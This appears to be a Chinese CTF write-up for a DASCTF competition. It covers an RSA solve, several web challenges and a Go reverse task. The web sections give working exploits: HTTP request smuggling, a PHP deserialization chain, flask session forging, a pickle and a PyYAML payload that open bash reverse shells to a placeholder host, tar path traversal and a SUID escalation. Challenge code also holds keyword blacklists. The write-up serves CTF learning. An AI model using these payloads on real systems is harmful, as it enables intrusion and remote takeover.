00cad4c29d017e30ddabd606805044d9ca3e6a3184fb4e1f332845555498c36b02e7b97e2eb09d85c919e30a493ce94ef9412261c3998c7344271b6e6e1b3dfefb # q

解RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
p = 0x00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9
q = 0x00cad4c29d017e30ddabd606805044d9ca3e6a3184fb4e1f332845555498c36b02e7b97e2eb09d85c919e30a493ce94ef9412261c3998c7344271b6e6e1b3dfefb
n = 0xb9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
e = 0x10001
print(is_prime(p))
print(is_prime(q))

f = (p-1)*(q-1)
d = 0x974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
m = pow(c,d,n)
x = bytes.fromhex(hex(m)[2:])
print(x)

# b'DASCTF{0e287wQ\x08R\x17\x00FGXYFZ\x07V\x03kIUCn\x02VDg\x01f\x0cN'

结合压缩包注释,将结果与压缩包密码C0ngr4tulati0n5_y0u_fou^d_m3 高位补 \x00

右对齐异或得flag:DASCTF{0e2874af5e422482378640e61d919e9a}

WEB

D0n’t pl4y g4m3!!! -FIX

小明不小心沉迷⚪⚪的东西把源码和猫猫搞丢了,请帮他找回来。请访问/p0p.php

bp访问 /p0p.php,提示:# ./有hint.zip

访问 hint.zip在线尊嘟假嘟解码,得 flag在/tmp/catcatf1ag.txt

查看首页发现使用了PHP Development Server,当PHP<=7.4.21时Development Server存在源码泄露漏洞(CNVD-2023-05738),该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。

构造请求走私:

1
2
3
4
5
GET /p0p.php HTTP/1.1
Host: tcp.cloud.dasctf.com:20294

GET / HTTP/1.1

拿到 p0p.php 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>
# ./有hint.zip

分析构造反序列化链,由 Bei:__destruct() 开始,调用到 Yang:__call() 中的 call_user_func() 函数RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from phpserialize import serialize

class Yang:
public_finish=1

class Yang:
public_finish=Yang()

class Yang:
public_finish=Yang()
public_now={'YCB1':'system'}

class Bei:
public_CTF=Yang()
public_fine=Yang()
public_rce='cat /tmp/catcatf1ag.txt'

print(serialize(Bei()))

# O:3:"Bei":3:{s:3:"CTF";O:4:"Yang":2:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";i:1;}}s:3:"now";a:1:{s:4:"YCB1";s:6:"system";}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:6:"system";}}s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";}

双写system绕过关键词过滤,POST传参:

CTF=O:3:"Bei":3:{s:3:"CTF";O:4:"Yang":2:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";i:1;}}s:3:"now";a:1:{s:4:"YCB1";s:6:"systsystemem";}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:6:"systsystemem";}}s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";}

得到flag:DASCTF{54675642781313253235583695043371}

Serpent

I have been endeavoring to Reduce my phobia of Serpents by learning more about them. Do not scan, note that there is a www.zip file under the website.

尝试解flask session:

flask-unsign --decode --cookie 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR4Y3VMeGhWZVFBIn19.ZPLWRw.5YHps4KX1FfZNY5xe9-25Nckl7s'

得:{'Attribute': {'admin': 0, 'name': 'GWHT', 'secret_key': 'GWHTxcuLxhVeQA'}}

包含secret_key,修改为:{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTxcuLxhVeQA'}},加密后改cookie:

flask-unsign --sign --cookie "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTxcuLxhVeQA'}}" --secret 'GWHTxcuLxhVeQA'

得到提示:Hello admin, welcome to /ppppppppppick1e

访问 ppppppppppick1e 路由,在Header发现:Hint: Source in /src0de,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

python反序列化,测试发现禁用R指令,参考这里使用不带R指令的RCE payload:

b'\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"\nb.'

base64编码后给cookie中的 pick1e 赋值,成功反弹shell。

读根目录下flag发现无权限,查看SUID可执行文件:

find / -perm -u=s -type f 2>/dev/null

发现 /usr/bin/python3.8,执行 python3.8 -c "print(open('/flag').read())" 读到flag:DASCTF{62339708167284198788958643730094}

ArkNights

Fantasy world full of magic and dream…………….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

非预期,利用 read 路由读环境变量文件 /proc/1/environ 文件找到flag:/read?file=/proc/1/environ

DASFLAG=DASCTF{67528847472042710457227886304140}

预期解应该是分别通过 /proc/self/maps/proc/self/mem 读取堆栈分布和对应位置内存数据拿到SECRET_KEY值,再修改flask session绕黑名单RCE。

ezyaml

简单得yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# app.py
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re


app = Flask(__name__)

def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):

extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)


if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()

@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

if request.method == 'GET':
return redirect('/')

if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)

if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

开始一个上传点,根据源码知 upload 路由知当上传tar后缀的文件时,回执行解压代码,将文件解压到uploads目录下,利用tar目录穿越漏洞,将文件解压到config目录下,配合下一步 src 路由功能中存在的PyYAML漏洞(CVE-2020-1747),实现RCE。

生成tar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import tarfile
import io

tar = tarfile.TarFile(r'1.tar', 'w')

info = tarfile.TarInfo("../../config/my.yaml")

# 反弹shell
deserialization_payload = """!!python/object/apply:os.system ['bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"']"""

info.size=len(deserialization_payload)
info.mode=0o777

tar.addfile(info, io.BytesIO(deserialization_payload.encode()))
tar.close()

上传,回显解压到 ../../config/my.yamlmy.yaml 已在config目录下,再访问 /src?username=my 反弹shell成功,执行 cat /fllaagg_here 得到flag:DASCTF{13247551631744504376506324559899}

REVERSE

CSGO

Let’s Go!!

go语言程序,找到最后比较的base64密文为:

cPQebAcRp+n+ZeP+YePEWfP7bej4YefCYd/7cuP7WfcPb/URYeMRbesObi/=

动调加密函数 fkReverse_() ,在码表变量 fkReverse 处下断点,调试得实际码表:

LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK

base64解密得flag:DASCTF{73913519-A0A6-5575-0F10-DDCBF50FA8CA}